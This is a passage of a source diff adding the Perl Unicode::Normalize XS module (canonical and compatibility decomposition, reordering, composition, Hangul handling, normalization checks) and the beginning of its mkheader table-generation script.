+#define AllowAnyUTF (UTF8_ALLOW_SURROGATE|UTF8_ALLOW_BOM|UTF8_ALLOW_FE_FF|UTF8_ALLOW_FFFF)
+
+/* check if the string buffer is enough before uvchr_to_utf8(). */
+/* dstart, d, and dlen should be defined outside before. */
+#define Renew_d_if_not_enough_to(need) STRLEN curlen = d - dstart; \
+ if (dlen < curlen + (need)) { \
+ dlen += (need); \
+ Renew(dstart, dlen+1, U8); \
+ d = dstart + curlen; \
+ }
+
+/* if utf8n_to_uvchr() sets retlen to 0 (if broken?) */
+#define ErrRetlenIsZero "panic (Unicode::Normalize %s): zero-length character"
+
+/* utf8_hop() hops back before start. Maybe broken UTF-8 */
+#define ErrHopBeforeStart "panic (Unicode::Normalize): hopping before start"
+
+/* At present, char > 0x10ffff are unaffected without complaint, right? */
+#define VALID_UTF_MAX (0x10ffff)
+#define OVER_UTF_MAX(uv) (VALID_UTF_MAX < (uv))
+
+/* size of array for combining characters */
+/* enough as an initial value? */
+#define CC_SEQ_SIZE (10)
+#define CC_SEQ_STEP (5)
+
+/* HANGUL begin */
+#define Hangul_SBase 0xAC00
+#define Hangul_SFinal 0xD7A3
+#define Hangul_SCount 11172
+
+#define Hangul_NCount 588
+
+#define Hangul_LBase 0x1100
+#define Hangul_LFinal 0x1112
+#define Hangul_LCount 19
+
+#define Hangul_VBase 0x1161
+#define Hangul_VFinal 0x1175
+#define Hangul_VCount 21
+
+#define Hangul_TBase 0x11A7
+#define Hangul_TFinal 0x11C2
+#define Hangul_TCount 28
+
+#define Hangul_IsS(u) ((Hangul_SBase <= (u)) && ((u) <= Hangul_SFinal))
+#define Hangul_IsN(u) (((u) - Hangul_SBase) % Hangul_TCount == 0)
+#define Hangul_IsLV(u) (Hangul_IsS(u) && Hangul_IsN(u))
+#define Hangul_IsL(u) ((Hangul_LBase <= (u)) && ((u) <= Hangul_LFinal))
+#define Hangul_IsV(u) ((Hangul_VBase <= (u)) && ((u) <= Hangul_VFinal))
+#define Hangul_IsT(u) ((Hangul_TBase < (u)) && ((u) <= Hangul_TFinal))
+/* HANGUL end */
+
+/* this is used for canonical ordering of combining characters (c.c.). */
+typedef struct {
+ U8 cc; /* combining class */
+ UV uv; /* codepoint */
+ STRLEN pos; /* position */
+} UNF_cc;
+
+static int compare_cc(const void *a, const void *b)
+{
+ int ret_cc;
+ ret_cc = ((UNF_cc*) a)->cc - ((UNF_cc*) b)->cc;
+ if (ret_cc)
+ return ret_cc;
+
+ return ( ((UNF_cc*) a)->pos > ((UNF_cc*) b)->pos )
+ - ( ((UNF_cc*) a)->pos < ((UNF_cc*) b)->pos );
+}
+
+static U8* dec_canonical(UV uv)
+{
+ U8 ***plane, **row;
+ if (OVER_UTF_MAX(uv))
+ return NULL;
+ plane = (U8***)UNF_canon[uv >> 16];
+ if (! plane)
+ return NULL;
+ row = plane[(uv >> 8) & 0xff];
+ return row ? row[uv & 0xff] : NULL;
+}
+
+static U8* dec_compat(UV uv)
+{
+ U8 ***plane, **row;
+ if (OVER_UTF_MAX(uv))
+ return NULL;
+ plane = (U8***)UNF_compat[uv >> 16];
+ if (! plane)
+ return NULL;
+ row = plane[(uv >> 8) & 0xff];
+ return row ? row[uv & 0xff] : NULL;
+}
+
+static UV composite_uv(UV uv, UV uv2)
+{
+ UNF_complist ***plane, **row, *cell, *i;
+
+ if (!uv2 || OVER_UTF_MAX(uv) || OVER_UTF_MAX(uv2))
+ return 0;
+
+ if (Hangul_IsL(uv) && Hangul_IsV(uv2)) {
+ UV lindex = uv - Hangul_LBase;
+ UV vindex = uv2 - Hangul_VBase;
+ return(Hangul_SBase + (lindex * Hangul_VCount + vindex) *
+ Hangul_TCount);
+ }
+ if (Hangul_IsLV(uv) && Hangul_IsT(uv2)) {
+ UV tindex = uv2 - Hangul_TBase;
+ return(uv + tindex);
+ }
+ plane = UNF_compos[uv >> 16];
+ if (! plane)
+ return 0;
+ row = plane[(uv >> 8) & 0xff];
+ if (! row)
+ return 0;
+ cell = row[uv & 0xff];
+ if (! cell)
+ return 0;
+ for (i = cell; i->nextchar; i++) {
+ if (uv2 == i->nextchar)
+ return i->composite;
+ }
+ return 0;
+}
+
+static U8 getCombinClass(UV uv)
+{
+ U8 **plane, *row;
+ if (OVER_UTF_MAX(uv))
+ return 0;
+ plane = (U8**)UNF_combin[uv >> 16];
+ if (! plane)
+ return 0;
+ row = plane[(uv >> 8) & 0xff];
+ return row ? row[uv & 0xff] : 0;
+}
+
+static U8* pv_cat_decompHangul(pTHX_ U8* d, UV uv)
+{
+ UV sindex = uv - Hangul_SBase;
+ UV lindex = sindex / Hangul_NCount;
+ UV vindex = (sindex % Hangul_NCount) / Hangul_TCount;
+ UV tindex = sindex % Hangul_TCount;
+
+ if (! Hangul_IsS(uv))
+ return d;
+
+ d = uvchr_to_utf8(d, (lindex + Hangul_LBase));
+ d = uvchr_to_utf8(d, (vindex + Hangul_VBase));
+ if (tindex)
+ d = uvchr_to_utf8(d, (tindex + Hangul_TBase));
+ return d;
+}
+
+static char* sv_2pvunicode(pTHX_ SV *sv, STRLEN *lp)
+{
+ char *s;
+ STRLEN len;
+ s = SvPV(sv,len);
+ if (!SvUTF8(sv)) {
+ SV* tmpsv = sv_2mortal(newSVpvn(s, len));
+ if (!SvPOK(tmpsv))
+ s = SvPV_force(tmpsv,len);
+ sv_utf8_upgrade(tmpsv);
+ s = SvPV(tmpsv,len);
+ }
+ if (lp)
+ *lp = len;
+ return s;
+}
+
+static
+U8* pv_utf8_decompose(pTHX_ U8* s, STRLEN slen, U8** dp, STRLEN dlen, bool iscompat)
+{
+ U8* p = s;
+ U8* e = s + slen;
+ U8* dstart = *dp;
+ U8* d = dstart;
+
+ while (p < e) {
+ STRLEN retlen;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "decompose");
+ p += retlen;
+
+ if (Hangul_IsS(uv)) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN * 3)
+ d = pv_cat_decompHangul(aTHX_ d, uv);
+ }
+ else {
+ U8* r = iscompat ? dec_compat(uv) : dec_canonical(uv);
+
+ if (r) {
+ STRLEN len = (STRLEN)strlen((char *)r);
+ Renew_d_if_not_enough_to(len)
+ while (len--)
+ *d++ = *r++;
+ }
+ else {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uv);
+ }
+ }
+ }
+ *dp = dstart;
+ return d;
+}
+
+static
+U8* pv_utf8_reorder(pTHX_ U8* s, STRLEN slen, U8** dp, STRLEN dlen)
+{
+ U8* p = s;
+ U8* e = s + slen;
+ U8* dstart = *dp;
+ U8* d = dstart;
+
+ UNF_cc seq_ary[CC_SEQ_SIZE];
+ UNF_cc* seq_ptr = seq_ary; /* use array at the beginning */
+ UNF_cc* seq_ext = NULL; /* extend if need */
+ STRLEN seq_max = CC_SEQ_SIZE;
+ STRLEN cc_pos = 0;
+
+ while (p < e) {
+ U8 curCC;
+ STRLEN retlen;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "reorder");
+ p += retlen;
+
+ curCC = getCombinClass(uv);
+
+ if (curCC != 0) {
+ if (seq_max < cc_pos + 1) { /* extend if need */
+ seq_max = cc_pos + CC_SEQ_STEP; /* new size */
+ if (CC_SEQ_SIZE == cc_pos) { /* seq_ary full */
+ STRLEN i;
+ New(0, seq_ext, seq_max, UNF_cc);
+ for (i = 0; i < cc_pos; i++)
+ seq_ext[i] = seq_ary[i];
+ }
+ else {
+ Renew(seq_ext, seq_max, UNF_cc);
+ }
+ seq_ptr = seq_ext; /* use seq_ext from now */
+ }
+
+ seq_ptr[cc_pos].cc = curCC;
+ seq_ptr[cc_pos].uv = uv;
+ seq_ptr[cc_pos].pos = cc_pos;
+ ++cc_pos;
+
+ if (p < e)
+ continue;
+ }
+
+ /* output */
+ if (cc_pos) {
+ STRLEN i;
+
+ if (cc_pos > 1) /* reordered if there are two c.c.'s */
+ qsort((void*)seq_ptr, cc_pos, sizeof(UNF_cc), compare_cc);
+
+ for (i = 0; i < cc_pos; i++) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, seq_ptr[i].uv);
+ }
+ cc_pos = 0;
+ }
+
+ if (curCC == 0) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uv);
+ }
+ }
+ if (seq_ext)
+ Safefree(seq_ext);
+ *dp = dstart;
+ return d;
+}
+
+static
+U8* pv_utf8_compose(pTHX_ U8* s, STRLEN slen, U8** dp, STRLEN dlen, bool iscontig)
+{
+ U8* p = s;
+ U8* e = s + slen;
+ U8* dstart = *dp;
+ U8* d = dstart;
+
+ UV uvS = 0; /* code point of the starter */
+ bool valid_uvS = FALSE; /* if FALSE, uvS isn't initialized yet */
+ U8 preCC = 0;
+
+ UV seq_ary[CC_SEQ_SIZE];
+ UV* seq_ptr = seq_ary; /* use array at the beginning */
+ UV* seq_ext = NULL; /* extend if need */
+ STRLEN seq_max = CC_SEQ_SIZE;
+ STRLEN cc_pos = 0;
+
+ while (p < e) {
+ U8 curCC;
+ STRLEN retlen;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "compose");
+ p += retlen;
+
+ curCC = getCombinClass(uv);
+
+ if (!valid_uvS) {
+ if (curCC == 0) {
+ uvS = uv; /* the first Starter is found */
+ valid_uvS = TRUE;
+ if (p < e)
+ continue;
+ }
+ else {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uv);
+ continue;
+ }
+ }
+ else {
+ bool composed;
+
+ /* blocked */
+ if ((iscontig && cc_pos) || /* discontiguous combination */
+ (curCC != 0 && preCC == curCC) || /* blocked by same CC */
+ (preCC > curCC)) /* blocked by higher CC: revised D2 */
+ composed = FALSE;
+
+ /* not blocked:
+ iscontig && cc_pos == 0 -- contiguous combination
+ curCC == 0 && preCC == 0 -- starter + starter
+ curCC != 0 && preCC < curCC -- lower CC */
+ else {
+ /* try composition */
+ UV uvComp = composite_uv(uvS, uv);
+
+ if (uvComp && !isExclusion(uvComp)) {
+ uvS = uvComp;
+ composed = TRUE;
+
+ /* preCC should not be changed to curCC */
+ /* e.g. 1E14 = 0045 0304 0300 where CC(0304) == CC(0300) */
+ if (p < e)
+ continue;
+ }
+ else
+ composed = FALSE;
+ }
+
+ if (!composed) {
+ preCC = curCC;
+ if (curCC != 0 || !(p < e)) {
+ if (seq_max < cc_pos + 1) { /* extend if need */
+ seq_max = cc_pos + CC_SEQ_STEP; /* new size */
+ if (CC_SEQ_SIZE == cc_pos) { /* seq_ary full */
+ New(0, seq_ext, seq_max, UV);
+ Copy(seq_ary, seq_ext, cc_pos, UV);
+ }
+ else {
+ Renew(seq_ext, seq_max, UV);
+ }
+ seq_ptr = seq_ext; /* use seq_ext from now */
+ }
+ seq_ptr[cc_pos] = uv;
+ ++cc_pos;
+ }
+ if (curCC != 0 && p < e)
+ continue;
+ }
+ }
+
+ /* output */
+ {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uvS); /* starter (composed or not) */
+ }
+
+ if (cc_pos) {
+ STRLEN i;
+
+ for (i = 0; i < cc_pos; i++) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, seq_ptr[i]);
+ }
+ cc_pos = 0;
+ }
+
+ uvS = uv;
+ }
+ if (seq_ext)
+ Safefree(seq_ext);
+ *dp = dstart;
+ return d;
+}
+
+MODULE = Unicode::Normalize PACKAGE = Unicode::Normalize
+
+SV*
+decompose(src, compat = &PL_sv_no)
+ SV * src
+ SV * compat
+ PROTOTYPE: $;$
+ PREINIT:
+ SV* dst;
+ U8 *s, *d, *dend;
+ STRLEN slen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+ dst = newSVpvn("", 0);
+ dlen = slen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_decompose(aTHX_ s, slen, &d, dlen, (bool)SvTRUE(compat));
+ sv_setpvn(dst, (char *)d, dend - d);
+ SvUTF8_on(dst);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+reorder(src)
+ SV * src
+ PROTOTYPE: $
+ PREINIT:
+ SV* dst;
+ U8 *s, *d, *dend;
+ STRLEN slen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+ dst = newSVpvn("", 0);
+ dlen = slen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_reorder(aTHX_ s, slen, &d, dlen);
+ sv_setpvn(dst, (char *)d, dend - d);
+ SvUTF8_on(dst);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+compose(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ composeContiguous = 1
+ PREINIT:
+ SV* dst;
+ U8 *s, *d, *dend;
+ STRLEN slen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+ dst = newSVpvn("", 0);
+ dlen = slen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_compose(aTHX_ s, slen, &d, dlen, (bool)ix);
+ sv_setpvn(dst, (char *)d, dend - d);
+ SvUTF8_on(dst);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+NFD(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ NFKD = 1
+ PREINIT:
+ SV *dst;
+ U8 *s, *t, *tend, *d, *dend;
+ STRLEN slen, tlen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+
+ /* decompose */
+ tlen = slen;
+ New(0, t, tlen+1, U8);
+ tend = pv_utf8_decompose(aTHX_ s, slen, &t, tlen, (bool)(ix==1));
+ *tend = '\0';
+ tlen = tend - t; /* no longer know real size of t */
+
+ /* reorder */
+ dlen = tlen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_reorder(aTHX_ t, tlen, &d, dlen);
+ *dend = '\0';
+ dlen = dend - d; /* no longer know real size of d */
+
+ /* return */
+ dst = newSVpvn("", 0);
+ sv_setpvn(dst, (char *)d, dlen);
+ SvUTF8_on(dst);
+
+ Safefree(t);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+NFC(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ NFKC = 1
+ FCC = 2
+ PREINIT:
+ SV *dst;
+ U8 *s, *t, *tend, *u, *uend, *d, *dend;
+ STRLEN slen, tlen, ulen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+
+ /* decompose */
+ tlen = slen;
+ New(0, t, tlen+1, U8);
+ tend = pv_utf8_decompose(aTHX_ s, slen, &t, tlen, (bool)(ix==1));
+ *tend = '\0';
+ tlen = tend - t; /* no longer know real size of t */
+
+ /* reorder */
+ ulen = tlen;
+ New(0, u, ulen+1, U8);
+ uend = pv_utf8_reorder(aTHX_ t, tlen, &u, ulen);
+ *uend = '\0';
+ ulen = uend - u; /* no longer know real size of u */
+
+ /* compose */
+ dlen = ulen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_compose(aTHX_ u, ulen, &d, dlen, (bool)(ix==2));
+ *dend = '\0';
+ dlen = dend - d; /* no longer know real size of d */
+
+ /* return */
+ dst = newSVpvn("", 0);
+ sv_setpvn(dst, (char *)d, dlen);
+ SvUTF8_on(dst);
+
+ Safefree(t);
+ Safefree(u);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+checkNFD(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ checkNFKD = 1
+ PREINIT:
+ STRLEN srclen, retlen;
+ U8 *s, *e, *p, curCC, preCC;
+ bool result = TRUE;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+
+ preCC = 0;
+ for (p = s; p < e; p += retlen) {
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "checkNFD or -NFKD");
+
+ curCC = getCombinClass(uv);
+ if (preCC > curCC && curCC != 0) { /* canonical ordering violated */
+ result = FALSE;
+ break;
+ }
+ if (Hangul_IsS(uv) || (ix ? dec_compat(uv) : dec_canonical(uv))) {
+ result = FALSE;
+ break;
+ }
+ preCC = curCC;
+ }
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+SV*
+checkNFC(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ checkNFKC = 1
+ PREINIT:
+ STRLEN srclen, retlen;
+ U8 *s, *e, *p, curCC, preCC;
+ bool result = TRUE;
+ bool isMAYBE = FALSE;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+
+ preCC = 0;
+ for (p = s; p < e; p += retlen) {
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "checkNFC or -NFKC");
+
+ curCC = getCombinClass(uv);
+ if (preCC > curCC && curCC != 0) { /* canonical ordering violated */
+ result = FALSE;
+ break;
+ }
+
+ /* get NFC/NFKC property */
+ if (Hangul_IsS(uv)) /* Hangul syllables are canonical composites */
+ ; /* YES */
+ else if (isExclusion(uv) || isSingleton(uv) || isNonStDecomp(uv)) {
+ result = FALSE;
+ break;
+ }
+ else if (isComp2nd(uv))
+ isMAYBE = TRUE;
+ else if (ix) {
+ char *canon, *compat;
+ /* NFKC_NO when having compatibility mapping. */
+ canon = (char *) dec_canonical(uv);
+ compat = (char *) dec_compat(uv);
+ if (compat && !(canon && strEQ(canon, compat))) {
+ result = FALSE;
+ break;
+ }
+ } /* end of get NFC/NFKC property */
+
+ preCC = curCC;
+ }
+ if (isMAYBE && result) /* NO precedes MAYBE */
+ XSRETURN_UNDEF;
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+SV*
+checkFCD(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ checkFCC = 1
+ PREINIT:
+ STRLEN srclen, retlen;
+ U8 *s, *e, *p, curCC, preCC;
+ bool result = TRUE;
+ bool isMAYBE = FALSE;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+ preCC = 0;
+ for (p = s; p < e; p += retlen) {
+ U8 *sCan;
+ UV uvLead;
+ STRLEN canlen = 0;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "checkFCD or -FCC");
+
+ sCan = (U8*) dec_canonical(uv);
+
+ if (sCan) {
+ STRLEN canret;
+ canlen = (STRLEN)strlen((char *) sCan);
+ uvLead = utf8n_to_uvchr(sCan, canlen, &canret, AllowAnyUTF);
+ if (!canret)
+ croak(ErrRetlenIsZero, "checkFCD or -FCC");
+ }
+ else {
+ uvLead = uv;
+ }
+
+ curCC = getCombinClass(uvLead);
+
+ if (curCC != 0 && curCC < preCC) { /* canonical ordering violated */
+ result = FALSE;
+ break;
+ }
+
+ if (ix) {
+ if (isExclusion(uv) || isSingleton(uv) || isNonStDecomp(uv)) {
+ result = FALSE;
+ break;
+ }
+ else if (isComp2nd(uv))
+ isMAYBE = TRUE;
+ }
+
+ if (sCan) {
+ STRLEN canret;
+ UV uvTrail;
+ U8* eCan = sCan + canlen;
+ U8* pCan = utf8_hop(eCan, -1);
+ if (pCan < sCan)
+ croak(ErrHopBeforeStart);
+ uvTrail = utf8n_to_uvchr(pCan, eCan - pCan, &canret, AllowAnyUTF);
+ if (!canret)
+ croak(ErrRetlenIsZero, "checkFCD or -FCC");
+ preCC = getCombinClass(uvTrail);
+ }
+ else {
+ preCC = curCC;
+ }
+ }
+ if (isMAYBE && result) /* NO precedes MAYBE */
+ XSRETURN_UNDEF;
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+U8
+getCombinClass(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isExclusion(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isSingleton(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isNonStDecomp(uv)
+ UV uv
+ PROTOTYPE: $
+
+bool
+isComp2nd(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ isNFC_MAYBE = 1
+ isNFKC_MAYBE = 2
+ INIT:
+ PERL_UNUSED_VAR(ix);
+
+SV*
+isNFD_NO(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ isNFKD_NO = 1
+ PREINIT:
+ bool result = FALSE;
+ CODE:
+ if (Hangul_IsS(uv) || (ix ? dec_compat(uv) : dec_canonical(uv)))
+ result = TRUE; /* NFD_NO or NFKD_NO */
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+SV*
+isComp_Ex(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ isNFC_NO = 0
+ isNFKC_NO = 1
+ PREINIT:
+ bool result = FALSE;
+ CODE:
+ if (isExclusion(uv) || isSingleton(uv) || isNonStDecomp(uv))
+ result = TRUE; /* NFC_NO or NFKC_NO */
+ else if (ix) {
+ char *canon, *compat;
+ canon = (char *) dec_canonical(uv);
+ compat = (char *) dec_compat(uv);
+ if (compat && (!canon || strNE(canon, compat)))
+ result = TRUE; /* NFC_NO or NFKC_NO */
+ }
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+SV*
+getComposite(uv, uv2)
+ UV uv
+ UV uv2
+ PROTOTYPE: $$
+ PREINIT:
+ UV composite;
+ CODE:
+ composite = composite_uv(uv, uv2);
+ RETVAL = composite ? newSVuv(composite) : &PL_sv_undef;
+ OUTPUT:
+ RETVAL
+
+
+
+SV*
+getCanon(uv)
+ UV uv
+ PROTOTYPE: $
+ ALIAS:
+ getCompat = 1
+ CODE:
+ if (Hangul_IsS(uv)) {
+ U8 tmp[3 * UTF8_MAXLEN + 1];
+ U8 *t = tmp;
+ U8 *e = pv_cat_decompHangul(aTHX_ t, uv);
+ RETVAL = newSVpvn((char *)t, e - t);
+ } else {
+ U8* rstr = ix ? dec_compat(uv) : dec_canonical(uv);
+ if (!rstr)
+ XSRETURN_UNDEF;
+ RETVAL = newSVpvn((char *)rstr, strlen((char *)rstr));
+ }
+ SvUTF8_on(RETVAL);
+ OUTPUT:
+ RETVAL
+
+
+void
+splitOnLastStarter(src)
+ SV * src
+ PREINIT:
+ SV *svp;
+ STRLEN srclen;
+ U8 *s, *e, *p;
+ PPCODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+ p = e;
+ while (s < p) {
+ UV uv;
+ p = utf8_hop(p, -1);
+ if (p < s)
+ croak(ErrHopBeforeStart);
+ uv = utf8n_to_uvchr(p, e - p, NULL, AllowAnyUTF);
+ if (getCombinClass(uv) == 0) /* Last Starter found */
+ break;
+ }
+
+ svp = sv_2mortal(newSVpvn((char*)s, p - s));
+ SvUTF8_on(svp);
+ XPUSHs(svp);
+
+ svp = sv_2mortal(newSVpvn((char*)p, e - p));
+ SvUTF8_on(svp);
+ XPUSHs(svp);
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader b/gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader
new file mode 100644
index 00000000000..8d4c1b8e8db
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/mkheader
@@ -0,0 +1,419 @@
+#!perl
+#
+# This auxiliary script makes five header files
+# used for building XSUB of Unicode::Normalize.
+#
+# Usage:
+# <do 'mkheader'> in perl, or <perl mkheader> in command line
+#
+# Input files:
+# unicore/CombiningClass.pl (or unicode/CombiningClass.pl)
+# unicore/Decomposition.pl (or unicode/Decomposition.pl)
+#
+# Output files:
+# unfcan.h
+# unfcpt.h
+# unfcmb.h
+# unfcmp.h
+# unfexc.h
+#
+use 5.006;
+use strict;
+use warnings;
+use Carp;
+use File::Spec;
+use SelectSaver;
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ die "Unicode::Normalize cannot stringify a Unicode code point\n";
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ die "Unicode::Normalize cannot get Unicode code point\n";
+ }
+}
+
+our $PACKAGE = 'Unicode::Normalize, mkheader';
+
+our $prefix = "UNF_";
+our $structname = "${prefix}complist";
+
+# Starting in v5.20, the tables in lib/unicore are built using the platform's
+# native character set for code points 0-255.
+*pack_U = ($] ge 5.020)
+ ? sub { return pack('W*', @_).pack('U*'); } # The empty pack returns
+ # an empty UTF-8 string,
+ # so the effect is to
+ # force the return into
+ # being UTF-8.
+ : sub { return pack('U*', @_); };
+
+# %Canon and %Compat will be ($codepoint => $hexstring) after _U_stringify()
+our %Comp1st; # $codepoint => $listname : may be composed with a next char.
+our %CompList; # $listname,$2nd => $codepoint : composite
+
+##### The below part is common to mkheader and PP #####
+
+our %Combin; # $codepoint => $number : combination class
+our %Canon; # $codepoint => \@codepoints : canonical decomp.
+our %Compat; # $codepoint => \@codepoints : compat. decomp.
+our %Compos; # $1st,$2nd => $codepoint : composite
+our %Exclus; # $codepoint => 1 : composition exclusions
+our %Single; # $codepoint => 1 : singletons
+our %NonStD; # $codepoint => 1 : non-starter decompositions
+our %Comp2nd; # $codepoint => 1 : may be composed with a prev char.
+
+# from core Unicode database
+our $Combin = do "unicore/CombiningClass.pl"
+ || do "unicode/CombiningClass.pl"
+ || croak "$PACKAGE: CombiningClass.pl not found";
+our $Decomp = do "unicore/Decomposition.pl"
+ || do "unicode/Decomposition.pl"
+ || croak "$PACKAGE: Decomposition.pl not found";
+
+# CompositionExclusions.txt since Unicode 3.2.0. If this ever changes, it
+# would be better to get the values from Unicode::UCD rather than hard-code
+# them here, as that will protect from having to make fixes for future
+# changes.
+our @CompEx = qw(
+ 0958 0959 095A 095B 095C 095D 095E 095F 09DC 09DD 09DF 0A33 0A36
+ 0A59 0A5A 0A5B 0A5E 0B5C 0B5D 0F43 0F4D 0F52 0F57 0F5C 0F69 0F76
+ 0F78 0F93 0F9D 0FA2 0FA7 0FAC 0FB9 FB1D FB1F FB2A FB2B FB2C FB2D
+ FB2E FB2F FB30 FB31 FB32 FB33 FB34 FB35 FB36 FB38 FB39 FB3A FB3B
+ FB3C FB3E FB40 FB41 FB43 FB44 FB46 FB47 FB48 FB49 FB4A FB4B FB4C
+ FB4D FB4E 2ADC 1D15E 1D15F 1D160 1D161 1D162 1D163 1D164 1D1BB
+ 1D1BC 1D1BD 1D1BE 1D1BF 1D1C0
+);
+
+# definition of Hangul constants
+use constant SBase => 0xAC00;
+use constant SFinal => 0xD7A3; # SBase -1 + SCount
+use constant SCount => 11172; # LCount * NCount
+use constant NCount => 588; # VCount * TCount
+use constant LBase => 0x1100;
+use constant LFinal => 0x1112;
+use constant LCount => 19;
+use constant VBase => 0x1161;
+use constant VFinal => 0x1175;
+use constant VCount => 21;
+use constant TBase => 0x11A7;
+use constant TFinal => 0x11C2;
+use constant TCount => 28;
+
+sub decomposeHangul {
+ my $sindex = $_[0] - SBase;
+ my $lindex = int( $sindex / NCount);
+ my $vindex = int(($sindex % NCount) / TCount);
+ my $tindex = $sindex % TCount;
+ my @ret = (
+ LBase + $lindex,
+ VBase + $vindex,
+ $tindex ? (TBase + $tindex) : (),
+ );
+ return wantarray ? @ret : pack_U(@ret);
+}
+
+########## getting full decomposition ##########
+
+## converts string "hhhh hhhh hhhh" to a numeric list
+## (hex digits separated by spaces)
+sub _getHexArray { map hex, $_[0] =~ /\G *([0-9A-Fa-f]+)/g }
+
+while ($Combin =~ /(.+)/g) {
+ my @tab = split /\t/, $1;
+ my $ini = hex $tab[0];
+ if ($tab[1] eq '') {
+ $Combin{$ini} = $tab[2];
+ } else {
+ $Combin{$_} = $tab[2] foreach $ini .. hex($tab[1]);
+ }
+}
+
+while ($Decomp =~ /(.+)/g) {
+ my @tab = split /\t/, $1;
+ my $compat = $tab[2] =~ s/<[^>]+>//;
+ my $dec = [ _getHexArray($tab[2]) ]; # decomposition
+ my $ini = hex($tab[0]); # initial decomposable character
+ my $end = $tab[1] eq '' ? $ini : hex($tab[1]);
+ # ($ini .. $end) is the range of decomposable characters.
+
+ foreach my $u ($ini .. $end) {
+ $Compat{$u} = $dec;
+ $Canon{$u} = $dec if ! $compat;
+ }
+}
+
+for my $s (@CompEx) {
+ my $u = hex $s;
+ next if !$Canon{$u}; # not assigned
+ next if $u == 0xFB1D && !$Canon{0x1D15E}; # 3.0.1 before Corrigendum #2
+ $Exclus{$u} = 1;
+}
+
+foreach my $u (keys %Canon) {
+ my $dec = $Canon{$u};
+
+ if (@$dec == 2) {
+ if ($Combin{ $dec->[0] }) {
+ $NonStD{$u} = 1;
+ } else {
+ $Compos{ $dec->[0] }{ $dec->[1] } = $u;
+ $Comp2nd{ $dec->[1] } = 1 if ! $Exclus{$u};
+ }
+ } elsif (@$dec == 1) {
+ $Single{$u} = 1;
+ } else {
+ my $h = sprintf '%04X', $u;
+ croak("Weird Canonical Decomposition of U+$h");
+ }
+}
+
+# modern HANGUL JUNGSEONG and HANGUL JONGSEONG jamo
+foreach my $j (0x1161..0x1175, 0x11A8..0x11C2) {
+ $Comp2nd{$j} = 1;
+}
+
+sub getCanonList {
+ my @src = @_;
+ my @dec = map {
